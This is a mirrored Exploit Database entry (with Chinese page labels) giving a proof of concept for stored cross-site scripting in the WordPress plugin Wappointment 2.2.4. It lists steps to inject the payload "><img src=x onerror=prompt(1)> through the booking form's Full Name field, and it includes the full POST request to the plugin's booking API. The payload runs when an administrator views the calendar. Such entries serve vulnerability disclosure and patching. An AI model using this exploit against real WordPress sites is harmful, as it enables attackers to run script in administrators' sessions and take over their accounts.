WordPress Plugin Wappointment 2.2.4 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 128 阅读

• 作者： Renos Nikolaou
  日期： 2021-09-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50333/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

  # Exploit Title: WordPress Plugin Wappointment 2.2.4 - Stored Cross-Site Scripting (XSS) # Date: 2021-07-31 # Exploit Author: Renos Nikolaou # Software Link: https://downloads.wordpress.org/plugin/wappointment.2.2.4.zip # Version: 2.2.4 # Tested on: Windows # Description : Wappointment is prone to Stored Cross Site Scripting vulnerabilities # because it fails to properly sanitize user-supplied input.   # PoC - Stored XSS - Parameter: name # 1) Open Wappointment Plugin or Visit booking-page http://localhost/booking-page # 2) Click on any available delivery modality (By Phone, At a Location, Video Meeting or By Skype) # 3) Select Date and Time, write your email address, your phone number and in the Full Name field type: testname"><img src=x onerror=prompt(1)> # 4) Click Confirm # 5) Login as admin to wp-admin portal, Go to Wappointment --> Calendar ( http://localhost/wordpress/wp-admin/admin.php?page=wappointment_calendar )     # Post Request (Step 4):   POST /wordpress/wp-json/wappointment/v1/services/booking HTTP/1.1 Host: domain.com Content-Length: 205 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Content-Type: application/json Origin: http://domain.com Referer: http://domain.com/wordpress/booking-page/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close   {"email":"testemail@testemail.com","name":"testname\"><img src=x onerror=prompt(1)>","phone":"+00 00 000000","time":1630666800,"ctz":"Europe/Bucharest","service":1,"location":3,"duration":90,"staff_id":2}